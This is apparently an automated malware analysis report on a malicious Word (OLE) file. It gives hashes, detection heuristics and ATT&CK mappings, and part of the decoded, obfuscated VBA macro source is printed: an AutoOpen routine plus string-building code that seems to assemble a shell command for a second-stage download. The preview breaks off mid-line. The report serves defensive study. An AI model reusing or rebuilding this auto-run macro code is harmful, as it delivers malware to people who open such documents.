Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 996747aff1d8095f…

MALICIOUS

Office (OLE)

132.4 KB Created: 2018-09-27 11:26:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: f2fde0711679427f8cc52e2c67de7328 SHA-1: 6e20defc845ebca4bb2fa2eac9dc5d8555a5c387 SHA-256: 996747aff1d8095f1851fece7ce4668f989cb242300c618a30d721cfb346fb83
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a critical heuristic firing for a Shell() call within its VBA macros. The AutoOpen macro is present and attempts to execute obfuscated code. The presence of the Shell() call strongly suggests the macro is designed to download and execute a second-stage payload, a common technique for malware delivery.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699271-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699271-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 87082 bytes
SHA-256: 459637b16e9c3d673eeeb2ad6c4d3083b8e0943b2b4add9da19d42ea41b3b16f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "wstfmJw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim LkaHhw(2)
LkaHhw(0) = InStrRev(wvOdHGRR + sdzBGpZsCDFZbqSccHJzbL + GoqFFTVB, JdkhBGCr + nmMKwpYifXqSrCwwmEZ + moruF) + Left(kSuHUbjG + zTcVSqPJDFtGEKXKzS + knYwmwP, 426) + InStrRev(fHFGjUB + vzqqLctQIwSoihtqEQuhP + KIziDIz, jtwNTt + NtPrcSOwLwOBRafkSmFoV + HwkjW) + InStrRev(vUWvkiq + dwAYUOTiBIPMIqTKQNupl + zEjzk, FcrUcnt + CUCSiMCuOfTSPrORO + ROjGjOY)
LkaHhw(1) = InStrRev(RltsUjO + nhEWOPnjFkZbQlXlbfCdjiO + rnfdqj, avAQT + SdGpUIVwdwFlDzhOCvaHj + kwImUIsX) + Right(bYNQW + zubpzBHiFkjsuiXYHJ + MNtVMaUz, 617) + Right(HoUAnvBl + IoShDiszQZrGDjuaOIE + Oiaik, 561) + InStr(XlEZao + mFiHRQiFjOGLXuRSVEDIU + TUKCc, ibCWFjw + GAOzMAAzJWnrizPwNuVGWT + rhWiUUjz)
   Dim FLWsC(1)
FLWsC(0) = InStrRev(JjHAiklG + inkAXoCiPRjLJYiJPXPtEp + AUhPWt, iNEiXUJ + ZdVzbQCzCNPtjKBOzAun + qDqzlv) + InStrRev(XiMnXZEr + qcUohtDSvZUiXkMzD + zXWBw, cJFoUwsF + zihcTRzVmzoINidwRju + qlTjK) + Left(SiqBY + jFTBcowRNjHOPIklalhz + cihGBqkj, 55) + InStrRev(zfRFKCTG + isJzBnDtwHzLAhQXwYL + mJkfPj, VnzmYIzq + JziATRwUDjEiTarOHoKlQbY + qYRjzt)
   Dim tFOPFu(1)
tFOPFu(0) = InStr(jnRtVXrV + UuFWVcKvRilwfHRiIzvf + XRJsX, nGidXXkm + wVRvrmIiaqmjYOzKAWX + zpAHPkjs) + InStrRev(wKtPj + JHuBBFPcLmcbYiwBl + jtwjZc, wRizN + lwQurYtPzoVliuzpbA + AdLbOV)
toiMFARcmp (KeyString(pTdKE + zmtFII + 0 + 12 + 55 + nakur + FzTabBS) + qHlZdjk + AUvBlYOO + KeyString(JNMOfLO + drUhdIPA + 0 + 13 + 64 + XDpTGrKj + vMMjkw) + HNktI + ZoHKJwVSDkI + zblWNHa + vtjsdluD + UJjwQNf + HiPaDGvjb + isfjRWMQ + mqTjUOK + JiMjwI)
   Dim rzMSYv(2)
rzMSYv(0) = Right(EwmDFk + IYBvYvbIKPYaIDJC + QNuEJ, 307) + InStrRev(EMYNGX + hRXDlOjqOuzviNzsK + ODdDDzqK, zCWsiAW + OOvVvvFRAIfPAqDTGQpfKHW + CDNbmKr)
rzMSYv(1) = Left(hiIzjB + HjCjpLaoiZjkOZUdmhsFIPk + aJknUOzm, 476) + Left(smmncS + TInURPYPitQFZqwlOVO + jBszvFcp, 453)
End Sub


Attribute VB_Name = "imoSXwAkH"
Function HNktI()
rqijNCoYlh = "d   / /  \  \\  \ \" + "/ /V:O/C" + """" + "set ]" + "@'=702a 2a07 0" + "27a 02a7 2"
nnTqK = "70a 702a 0a27" + " 07a2 72a0" + " 7a20 a072 " + "72a0 a702 0a27 a207 " + "0a27 72a0 2" + "a70}2a70}a"
Dim lpiKD(1)
lpiKD(0) = Right(jlPsq + JOBrHQDwGnvdnvaKszS + jSisS, 487) + InStr(zTXhrFjC + nbXIVOvURjMvrIplKjcYo + QCcpu, KiBfawQ + FPTnYzszrQwGjMMzs + XZdkMjS)
   Dim lPwIKK(1)
lPwIKK(0) = InStrRev(cmopnNaY + oSALTiTLvUOzYciDzXLq + slCLUbi, jbhhV + LZjdOPMFUXVJXNkawRzJ + UmsBAMi) + InStr(LlKJMDWp + DNkmDTzuVtLQLCWLEHokV + REXWabtI, jApBjP + uzUwSRziCsOZLiPZX + SIvTKB) + Left(XsBWa + SmGVawPBvVbiTRTdjMDw + SUizNGoM, 782) + InStr(TCUUast + aDqFDlDzKPnwVIboohOpD + NwIGTK, ZPiYwb + jiApUjMscFiILNjYEoZq + jwszn)
   Dim VNfXIU(2)
VNfXIU(0) = Right(kFjrDqk + zwOkSEastKnZPwvkb + ODaMnFmU, 662) + Right(tlVTHCJ + QawwRrJcvAdjDKGQFn + RHZcE, 930)
VNfXIU(1) = Left(aGpinFcu + KQnsDMinzwsOJjrrPFf + ZWqYv, 93) + InStrRev(VJcGY + NuQnthsjlXYlCiDlSjWJr + kXEjmr, iVpsUEri + XjwIqTwDGXrkZjdnzzjR + KAmihb)
jfYkr = "720{0a72ha" + "027c0a72t7a02a027aca" + "072}702a;270ak20" + "7aa270ae0a2"
ckpGlnMfTc = "7r7a20b702a;a027H2" + "70aj2a07Oa027$20a7 " + "70a2m2a07e27" + "a0ta027I27a0-207aea" + "027k27a0o270av0a2"
sbLMHawZSQ = "7n270aI207" + "a;27a0)70a2Ha720" + "j2a70O7a02$" + "7a02 20a7,072ar7"
HNktI = rqijNCoYlh + nnTqK + jfYkr + ckpGlnMfTc + sbLMHawZSQ
   Dim jtDbwo(2)
jtDbwo(0) = InStrRev(afLhq + LLMFrkokjjkcsrObFBSoB + FHCRjv, TRpjChz + sMDAJtTTOQEsXUpdmTAo + YPGIM) + InStrRev(wzwpX + NSzPjXVaiFhsVSAswkddK + KItbVG, PUVkIZjw + DiBkdzEQXLjpnMNjSI + wFwfHPh) + InStrRev(IBHdSZi + EpaijibvMSRCTCifUwBjE + nfftnjm, IJQZT + TUAUFiCPuzaaCGErBwB + iGOvkmF) + Left(QiOEEV + wisjMVCmGUcvvQpwTG + pnDJUsS, 103)
jtDbwo(1) = InStrRev(YzXjzRl + wfkjbhQTOXmWwBDwhKUBl + kuORXN, zzEDcc + iqMwBAdCIZijzsEwVEW + fJwDw) + InStr(jdlqKZs + YlOPnciTFLXfiACTsB + JbpAznT, jNzTH + CickthEvRhKchFHEo + jjAfLoS)
   Dim TYTbh(1)
TYTbh(0) = Left(iEAPnlP
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